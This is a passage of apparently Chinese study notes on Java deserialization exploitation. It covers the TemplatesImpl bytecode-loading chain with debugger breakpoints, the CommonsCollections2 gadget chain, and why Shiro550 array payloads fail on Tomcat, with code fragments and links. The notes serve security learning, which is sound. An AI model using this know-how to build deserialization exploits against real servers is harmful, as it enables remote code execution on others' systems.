                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> method</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">invoke</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> parameters</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">catch</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">IllegalAccessException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> e</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">//log.error(&#34;invokeMethod:&#34;, e);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  

                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">null</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://cloud.tencent.com/developer/article/1536342" target="_blank">https://cloud.tencent.com/developer/article/1536342</a></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">原始代码在这里，Spring用Slf4j记录日志，我这里调试没什么用，又省的拉依赖回来，我就直接全注释掉了，然后在源码中import</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">import</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">static</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;"> org</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">test</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">ser</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">ClassUtils</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">setFieldValue</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">调试时候建议在这里按照p牛说的链下断点</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">TemplatesImpl#</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getOutputProperties</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">()</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">-&gt;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> TemplatesImpl#</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">newTransformer</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">()</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">-&gt;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">TemplatesImpl#</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getTransletInstance</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">()</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">-&gt;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> TemplatesImpl#</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">defineTransletClasses</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">()</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">-&gt;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> TransletClassLoader#</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">defineClass</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">()</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;"><img data-ratio="0.3678571428571429" style="width:553.8084106445312px;height:205.9600067138672px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=2f0d3076&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKlU9icOS2MHSaqISoic81LniadZHzEI65l8icqgPW1XzY0Nshmp925E03rA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;"><img data-ratio="0.475" style="width:553.8084106445312px;height:266.30999755859375px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=e7831362&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKez3X4TXll5qOnGFt1VFtIXiabWKMleyzIqnEYuia1yyCpGupCcbicoOwA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">在</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="">obj.newTransformer();</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">下断点后请直接</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;"><img class="rich_pages wxw-img" data-ratio="1.0526315789473684" style="width:57.33000183105469px;height:60.0px;" data-type="png" data-w="57" src="https://wechat2rss.xlab.app/img-proxy/?k=6fd7a0cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKUu7IIfe9A4dGRXq3xamDHibZUiaDTgSbJrP6FClEeLchicnicIaWweB5MQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">到这里，不然前面会有很折磨的idea debugger调试器的加载过程</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">p神关于bcel的文章中有一个链接,把fastjson和bcel都讲清楚了</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html" target="_blank">https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html</a></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">还有对应公众号，非常值得一看</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;"><img data-ratio="1.001937984496124" style="width:516.010009765625px;height:517.3400268554688px;" data-type="png" data-w="516" src="https://wechat2rss.xlab.app/img-proxy/?k=a6e10f94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKJLAQNMbicrK7M8xbQer2Mfq5iar9uDwOQ2fR8JeUOZ01icOgrNstdNT3A%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc2;"><span style="font-family:Calibri;">CC2</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc2;"><span style="font-family:Cambria;font-weight:bold;">在commons-collections中找Gadget的过 程，实际上可以简化为，找⼀条从 Serializable#readObject() ⽅法到 Transformer#transform() ⽅法的调⽤链</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc2;"><span style="font-family:Cambria;">              </span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc2;"><span style="font-family:Cambria;">CommonsCollections2实际就是⼀条从 PriorityQueue 到 TransformingComparator 的利用链</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc2;"><span style="font-family:Cambria;"><img data-ratio="0.26785714285714285" style="width:553.8084106445312px;height:150.47999572753906px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=d833fbfd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKQ5e8GwqsnkF7Yaevn3uXhb4iamE2pavJxVDCueNoYd6dg9zj8qKia3yg%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc2;"><span style="font-family:Cambria;">传进去的是队列，然后调用Transforming.comparator的compare方法调用传入的chaintransformer的transformer方法</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc2;"><span style="font-family:Cambria;"><img data-ratio="0.7" style="width:553.8084106445312px;height:392.25px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=e5c55495&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKIzOOuCYhcLuYwqdKRI4JMWJugLP2Q6qIcB1becncpH95FxTiaYrVXoA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc2;"><span style="font-family:Cambria;"><img data-ratio="0.4107142857142857" style="width:553.8084106445312px;height:229.69000244140625px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=91ba3e04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IK54Muwz1EKEYUdqSKkr6WBcdzuwwrF281LXbEPjgt8ib0Jzc5BdWalSw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc2;"><span style="font-family:Cambria;">链子比较简单</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Calibri;">Shiro550</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style=""><a href="https://www.jianshu.com/p/f87b6301d668" target="_blank">https://www.jianshu.com/p/f87b6301d668</a></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="">idea默认使用unicode编码，tomcat用的是utf-8，需要改下idea的配置文件，调试时候日志才不会出现乱码</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="">[L</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">是一个JVM的标记，说明实际上这是一个数组</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:shiro550;"><span style="font-family:Cambria;">shiro在tomcat下不能反序列化有数组的payload的原因是调用了ClassUtils的forName，在调用时使用的是URLClassLoader，会去把[Lorg.apache.commons.collections.Transformer当成path去加载类，有了[L，肯定找不到</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: 